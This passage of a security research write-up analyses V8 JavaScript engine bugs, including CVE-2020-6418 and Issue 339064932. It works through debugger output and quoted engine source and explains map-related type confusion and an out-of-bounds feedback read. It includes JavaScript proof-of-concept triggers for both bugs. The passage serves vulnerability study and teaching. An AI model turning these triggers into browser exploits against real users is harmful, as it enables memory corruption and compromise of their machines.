[#8] 0x7ffff63b1259 → v8::internal::ValueDeserializer::ReadJSObject(this=0x7fff98056c48)
[#9] 0x7ffff63afe16 → v8::internal::ValueDeserializer::ReadObjectInternal(this=0x7fff98056c48)
[#10] 0x7ffff63af6b1 → v8::internal::ValueDeserializer::ReadObject(this=0x7fff98056c48)
[#11] 0x7ffff63b1ac6 → v8::internal::ValueDeserializer::ReadDenseJSArray(this=0x7fff98056c48)
[#12] 0x7ffff63afe66 → v8::internal::ValueDeserializer::ReadObjectInternal(this=0x7fff98056c48)
[#13] 0x7ffff63af6b1 → v8::internal::ValueDeserializer::ReadObject(this=0x7fff98056c48)
[#14] 0x7ffff63af4be → v8::internal::ValueDeserializer::ReadObjectWrapper(this=0x7fff98056c48)
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  job *target
0x20010041ab91: [Map] in OldSpace
 - type: JS_OBJECT_TYPE
 - instance size: 28
 - inobject properties: 4
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 1
 - enum length: invalid
 - deprecated_map
 - back pointer: 0x20010041ab69 <Map[28](HOLEY_ELEMENTS)>
 - prototype_validity cell: 0x200100003875 <Cell value= 1>
 - instance descriptors (own) #3: 0x20010034c115 <DescriptorArray[3]>
 - prototype: 0x200100404a5d <Object map = 0x200100404119>
 - constructor: 0x200100404621 <JSFunction Object (sfi = 0x2001003d7d95)>
 - dependent code: 0x2001000022b9 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

and we it updates the map of obj2, the split point can not hold more transition link, so it will be normalized to a dictionary map. Then a type confusion will happen when the engine tries to access the descriptor of the map.

CVE-2020-6418

Code dependencies are used to determine when should the compiler deoptimize the code. One of the dependencies is about Map. When we execute a function that does specific operation on an object frequently, and we always call it with objects with the same map, the engine can optimize the code and specialize the code for the map. If the map of the object is changed, the code will be deoptimized.

bool MapInference::RelyOnMapsHelper(CompilationDependencies* dependencies,
                                    JSGraph* jsgraph, Effect* effect,
                                    Control control,
                                    const FeedbackSource& feedback) {
  if (Safe()) return true;
 
  auto is_stable = [](MapRef map) { return map.is_stable(); };
  if (dependencies != nullptr &&
      std::all_of(maps_.begin(), maps_.end(), is_stable)) {
    for (MapRef map : maps_) {
      dependencies->DependOnStableMap(map);
    }
    SetGuarded();
    return true;
  } else if (feedback.IsValid()) {
    InsertMapChecks(jsgraph, effect, control, feedback);
    return true;
  } else {
    return false;
  }
}

This optimization is error-prone since the engine has to deal with all possible map changes correctly. One flaw here is in NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe which is used to add code dependencies and determine whether the code needs a guard or not.

      case IrOpcode::kJSCreate: {
        if (IsSame(receiver, effect)) {
          base::Optional<MapRef> initial_map = GetJSCreateMap(broker, receiver);
          if (initial_map.has_value()) {
            *maps_return = ZoneHandleSet<Map>(initial_map->object());
            return result;
          }
          // We reached the allocation of the {receiver}.
          return kNoReceiverMaps;
        }
        break;
      }

InferReceiverMapsUnsafe walks the effect chain until it find the node that create the current object (isSame(receiver, effect)). If it finds a node without kNoWrite during traversal, it will mark the result as unstable. When the object is not the output of the JSCreate we should mark it as unstable since JSCreate can raise side-effect. However the code above forgot to do it. To exploit this, we can make an effect chain without write flags by passing the target function without writing effects.

let pwn = false;
let a;
 
function trigger_fixed(a, p) {
    return a.pop(Reflect.construct(function () {
        a; // I only read it :-)
    }, arguments, p));
}
 
let p = new Proxy(Array, {
    get: function () {
        if (pwn) {
 
            a[2] = 1.1;
        }
        return Array.prototype;
    }
});
for (let i = 0; i < 0x10000; i++) {
    a = [0, 1, 2, 3, 4];
    if (i == 0x10000 - 1) {
        pwn = true;
    }
    trigger_fixed(a, p);
}

a[2] = 1.1 will change the type of the array but the function was not updated, this creates a type confusion.

Issue 339064932

Another map side effect.

In KeyedLoadIC::Load()

MaybeHandle<Object> KeyedLoadIC::Load(Handle<Object> object,
                                      Handle<Object> key) {
  if (MigrateDeprecated(isolate(), object)) {
    return RuntimeLoad(object, key);
  }
  intptr_t maybe_index;
  Handle<Name> maybe_name;
  KeyType key_type = TryConvertKey(key, isolate(), &maybe_index, &maybe_name);
  if (key_type == kName) return LoadName(object, key, maybe_name);
  bool is_found = false;
  MaybeHandle<Object> result = RuntimeLoad(object, key, &is_found);   // <=== RuntimeLoad can trigger side effects
  size_t index;
  if (key_type == kIntPtr && CanCache(object, state()) &&
      IntPtrKeyToSize(maybe_index, Cast<HeapObject>(object), &index)) {
    Handle<HeapObject> receiver = Cast<HeapObject>(object);
    KeyedAccessLoadMode load_mode =
        GetNewKeyedLoadMode(isolate(), receiver, index, is_found);
    UpdateLoadElement(receiver, load_mode);
    if (is_vector_set()) {
      TraceIC("LoadIC", key);
    }
  }
  if (vector_needs_update()) {
    ConfigureVectorState(MEGAMORPHIC, key);
    TraceIC("LoadIC", key);
  }
  return result;
}

and in UpdateLoadElement

void KeyedLoadIC::UpdateLoadElement(Handle<HeapObject> receiver,
                                    const KeyedAccessLoadMode new_load_mode) {
  Handle<Map> receiver_map(receiver->map(), isolate());
  DCHECK(receiver_map->instance_type() !=
         JS_PRIMITIVE_WRAPPER_TYPE);  // Checked by caller.
  MapHandles target_receiver_maps;
  TargetMaps(&target_receiver_maps);  // [1] all target maps can be deprecated
 
  // ...
   // Determine the list of receiver maps that this call site has seen,
  // adding the map that was just encountered.
  KeyedAccessLoadMode old_load_mode = KeyedAccessLoadMode::kInBounds;
  if (!AddOneReceiverMapIfMissing(&target_receiver_maps, receiver_map)) {   // [2] the receiver map can be deprecated
    old_load_mode = GetKeyedAccessLoadModeFor(receiver_map);
    if (!AllowedHandlerChange(old_load_mode, new_load_mode)) {
      set_slow_stub_reason("same map added twice");
      return;
    }
  }
  // ...
  
  MaybeObjectHandles handlers;
  handlers.reserve(target_receiver_maps.size());
  KeyedAccessLoadMode load_mode =
      GeneralizeKeyedAccessLoadMode(old_load_mode, new_load_mode);
  LoadElementPolymorphicHandlers(&target_receiver_maps, &handlers, load_mode);  
  DCHECK_LE(1, target_receiver_maps.size());    // [3] LoadElementPolymorphicHandlers will remove deprecated maps, the target_receiver_maps can be empty
  if (target_receiver_maps.size() == 1) {
    ConfigureVectorState(Handle<Name>(), target_receiver_maps[0], handlers[0]);
  } else {
    ConfigureVectorState(Handle<Name>(),
                         MapHandlesSpan(target_receiver_maps.begin(),
                                        target_receiver_maps.end()),
                         &handlers);
  }

at [1] all target maps can be deprecated since the map updating in Load will not update the target maps but only the receiver map. But the receiver map can be deprecated by the following side effect. At [2] all maps in target_receiver_maps can be deprecated. And at [3] LoadElementPolymorphicHandlers will remove deprecated maps, the target_receiver_maps can be empty.

The following PoC triggers the DCHECK

function f(a) {
    let str = "1";
    let p = a[str];
    return p;
}
 
let o1 = {"1": 1, a: 2};
let o1_ = {"1": 1, a: 2};
 
let o2 = {a: 1, b: 1, "1": 1.1};
let o2_ = {a: 1, b: 1, "1": 1.1};
 
let o3 = {};
o3.aa = 1;
o3.bb = 1;
o3.cc = 1;
o3.__defineGetter__("1", () => { });
 
let o3_ = {};
o3_.aa = 1;
o3_.bb = 1;
o3_.cc = 1;
o3_.__defineGetter__("1", () => {
    o3.aa = 13.37;      // deprecate o3_->map()
});
 
// generate feedback, 
// turn IC to polymorphic mode
for (let i = 0; i < 0x1000; i++) {
    f(o1);
}
for (let i = 0; i < 0x1000; i++) {
    f(o2);
}
 
o1.a = 13.37;
o2.a = 13.37;   // deprecate o1, o2's map
f(o3_);         // IC miss

Memory corruption

In ConfigurePolymorphic since the receiver_count is 0, the zero length WeakFixedArray will be set as the new feedback array. Each feedback entry contains two elements, a map and a handler.

void FeedbackNexus::ConfigurePolymorphic(
    Handle<Name> name, std::vector<MapAndHandler> const& maps_and_handlers) {
  int receiver_count = static_cast<int>(maps_and_handlers.size());
  DCHECK_GT(receiver_count, 1);
  Handle<WeakFixedArray> array = CreateArrayOfSize(receiver_count * 2);
 
  for (int current = 0; current < receiver_count; ++current) {
    Handle<Map> map = maps_and_handlers[current].first;
    array->set(current * 2, MakeWeak(*map));
    MaybeObjectHandle handler = maps_and_handlers[current].second;
    DCHECK(IC::IsHandler(*handler));
    array->set(current * 2 + 1, *handler);
  }
 
  if (name.is_null()) {
    SetFeedback(*array, UPDATE_WRITE_BARRIER, UninitializedSentinel(),
                SKIP_WRITE_BARRIER);
  } else {
    SetFeedback(*name, UPDATE_WRITE_BARRIER, *array);
  }
}

Then in HandlePolymorphicCase the function assumes that the feedback array has at least one entry, with 2 elements. And loop backwards from length - kEntrySize to 0. But the length is 0 so the loop will result in an out-of-bound read. If an unexpected map is crafted nearby the feedback array, that can make it jump to a wrong handler. And wrong handler leads to an exploitable type confusion.

 
void AccessorAssembler::HandlePolymorphicCase(
    TNode<HeapObjectReference> weak_lookup_start_object_map,
    TNode<WeakFixedArray> feedback, Label* if_handler,
    TVariable<MaybeObject>* var_handler, Label* if_miss) {
  Comment("HandlePolymorphicCase");
  DCHECK_EQ(MachineRepresentation::kTagged, var_handler->rep());
 
  // Iterate {feedback} array.
  const int kEntrySize = 2;
 
  // Load the {feedback} array length.
  TNode<Int32T> length =
      Signed(LoadAndUntagWeakFixedArrayLengthAsUint32(feedback));
  CSA_DCHECK(this, Int32LessThanOrEqual(Int32Constant(kEntrySize), length));
 
  // This is a hand-crafted loop that iterates backwards and only compares
  // against zero at the end, since we already know that we will have at least a
  // single entry in the {feedback} array anyways.
  TVARIABLE(Int32T, var_index, Int32Sub(length, Int32Constant(kEntrySize)));
  Label loop(this, &var_index), loop_next(this);
  Goto(&loop);
  BIND(&loop);
  {
    TNode<IntPtrT> index = ChangePositiveInt32ToIntPtr(var_index.value());
    TNode<MaybeObject> maybe_cached_map =
        LoadWeakFixedArrayElement(feedback, index);
    CSA_DCHECK(this,
               IsMap(GetHeapObjectAssumeWeak(weak_lookup_start_object_map)));
    GotoIfNot(TaggedEqual(maybe_cached_map, weak_lookup_start_object_map),
              &loop_next);
 
    // Found, now call handler.
    TNode<MaybeObject> handler =
        LoadWeakFixedArrayElement(feedback, index, kTaggedSize);
    *var_handler = handler;
    Goto(if_handler);
 
    BIND(&loop_next);
    var_index = Int32Sub(var_index.value(), Int32Constant(kEntrySize));
    Branch(Int32GreaterThanOrEqual(var_index.value(), Int32Constant(0)), &loop,
           if_miss);
  }
}